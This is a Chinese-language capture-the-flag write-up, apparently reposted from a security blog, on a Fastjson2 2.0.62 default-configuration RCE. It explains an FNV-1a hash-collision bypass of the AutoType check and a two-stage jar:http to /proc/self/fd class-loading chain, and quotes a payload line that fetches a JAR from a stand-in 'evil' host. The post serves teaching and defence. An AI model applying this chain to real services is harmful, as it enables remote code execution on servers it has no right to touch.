文章总结： 本文分析Fastjson2默认配置下存在的RCE漏洞。核心问题在于即使关闭AutoType，其哈希校验机制仍可能被绕过。攻击者通过FNV-1a哈希碰撞构造恶意类名，利用JDK8可执行JAR和Linux文件描述符特性，分两阶段实现远程代码执行：先通过jar:http下载恶意JAR并占用文件描述符，再通过jar:file:/proc/self/fd加载执行。文章提供了靶场练习和具体攻击步骤，建议升级Fastjson2至安全版本或开启safeMode。 综合评分： 90 文章分类： 漏洞分析,WEB安全,红队,渗透测试,安全工具

最新Fastjson2 默认配置 RCE：HTTP-FD 两阶段通关(附练习靶场exp)

原创

六边形攻防安全 六边形攻防安全

六边形攻防安全

2026年7月28日 17:18 河北

在小说阅读器读本章

去阅读

题目：六边形靶场 · Fastjson2 HTTP-FD

声明：仅限授权靶场，禁止未授权利用。Flag 动态生成，文中样例仅作格式参考。

先简单铺垫一下这个漏洞

Fastjson 大家为什么都紧张 AutoType？

Fastjson 解析 JSON 时，可以在数据里写 @type，告诉库「请按某个 Java 类来还原对象」。这个能力叫 AutoType。

一旦 @type 能指向危险类（或最终能加载到攻击者自己的类），再配合 setter / 构造函数等副作用，就可能从「解析一段 JSON」升级成 RCE。

Fastjson 1.x 历史上正是因为 AutoType 边界问题，出过一长串安全通告。很多团队的应对是：关掉 AutoType / 上黑白名单，或者直接升级到 Fastjson2，并默认「不开启 SupportAutoType」。

「我们已经用 Fastjson2 了，而且业务代码从没开 SupportAutoType，应该没事。」

问题出在哪？

2026 年前后披露、并在官方 PR #7695 里加固的问题说明：「默认关闭 AutoType」≠「@type 路径完全走不通」。

大家以为 vs 实际可能：

• 没开 SupportAutoType 就不会加载奇怪的类 → 默认仍可能带着哈希形式的 accept 列表

• 白名单 = 类名字符串比对 → 修复前关键要 FNV-1a 64 哈希撞上就算过

• 必须用应用内已知 gadget → 特定环境下可加载攻击者自带 JAR 里的 class

• 一条 jar:http 就能打 → 标准 ClassLoader 语义下往往不行，要两阶段 + Linux FD

这条链的「新」在于：校验方式有洞（哈希当授权）；运行环境可拼（JDK8 fat jar + /proc/self/fd）；恶意逻辑在攻击者 class 里，不依赖业务 gadget 名录。

典型画像：Fastjson2 2.0.62 及此前相关版本；对不可信输入直接 JSON.parse；默认配置、未开 safeMode；Linux + JDK8 可执行 JAR。

和这道靶场的关系

六边形靶场这道题把研究链收成可动手的受控实验：默认解析、内置 payload、禁止乱外连、成功后读实例内动态 Flag。下面只讲本题通关。

一句话：Fastjson2 默认 AutoType 关闭时，仍可能因「只比 FNV 哈希」错误授权 loadClass；在 JDK8 + 可执行 JAR + Linux 下，通过 jar:http 占住 jar_cache FD → jar:file:/proc/self/fd 加载自有 class，可在无应用已知 gadget 时完成 RCE，本题中把 Flag 写入 /api/leak。

题目页（实测）

平台题名：Fastjson2 默认解析 HTTP-FD 链复现（受控） 难度 hard · 50 分 · 附带官方 hexlab_solve.py 下载。

图1 六边形题目页

实测：点击「启动靶场」后生成访问地址（如 http://IP:PORT），健康状态 healthy 即可打。

这题要拿 Flag，本质在干什么？

实例里是 Fastjson2 2.0.62 + 默认 JSON.parse + Spring Boot 可执行 JAR（JDK8）+ Linux。业务没有内置 JdbcRowSet / CC / CmdExecutor 等「名录 gadget」——不能指望「指定某个危险类 + 几个字段」一条 payload 就出 Flag。

本题 Flag 路径是：

让解析器加载「攻击者自带的 class」→ 构造函数在实例内读出动态 Flag → 写入侧信道 → GET /api/leak 取回。

难点不在「读文件本身」，而在：默认 AutoType 关闭时，如何仍能 loadClass 到自有字节码，并在受控边界内完成两次内部资源访问。

一、为什么默认配置还能走到 loadClass？

1. 默认仍有一个 accept 哈希

即便没开 SupportAutoType、也没配 autoTypeAccept，ObjectReaderProvider 里仍挂着固定哈希：

com.alibaba.fastjson.util.AntiCollisionHashMap pureFnv64 = 0xa8aaa929446ffce4

checkAutoType 大致是：对 typeName 逐字符做 FNV-1a 64 → 哈希落在 acceptHashCodes → 直接 loadClass(完整 typeName)，不再核对「文本是不是真白名单类名」。

也就是说：过关凭证是哈希，不是字符串。构造任意 S 使 pureFnv(S)==0xa8aaa929446ffce4 即可送进 loadClass。

2. FNV 碰撞怎么求？

FNV-1a 在模 2^64 下乘法可逆。做法是 chosen-prefix：固定前缀 → Z3 求 UTF-16 后缀 → pureFnv 对齐默认 accept 哈希。避开代理区与 . / ! 。脚本 collide(prefix) 现算后缀，勿照抄过期的 \uXXXX。

3. 为什么请求体是根数组？

[{“@type”:”……碰撞后的 typeName……”}]

JSON.parse 对根数组会走 ObjectReaderImplObject，元素上的 @type 仍进 getObjectReaderAutoType。受控题也按这个形态校验。

二、为什么「一条 jar:http」打不穿？必须两阶段

很多人第一反应是直接提交 jar:http://evil/a.jar!/com.evil.Pwn。在标准 ClassLoader.loadClass 语义下，整串 URL 往往不是合法 Java binary name，一次加载很难成功。

完整链要借助两件事：

• JDK 对 jar:http: 的处理：HTTP 拉完整 JAR，落到 jar_cache*.tmp

• Linux 下：文件 unlink 后，仍打开的 FD 可通过 /proc/self/fd/N 继续读

阶段1：故意让 entry 不存在，逼 JVM 下完整包并留下打开的 jar_cache FD。/api/parse 常仍返回 parsed，但还没有 Flag。 阶段2：用 jar:file:/proc/self/fd/N 以合法形态二次加载攻击者 class → 构造函数执行 → Flag 进 leak。

阶段1 不是「攻击失败」，而是「先把恶意 JAR 嵌进目标进程」。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：六边形攻防安全 六边形攻防安全 六边形攻防安全《最新Fastjson2 默认配置 RCE：HTTP-FD 两阶段通关(附练习靶场exp)》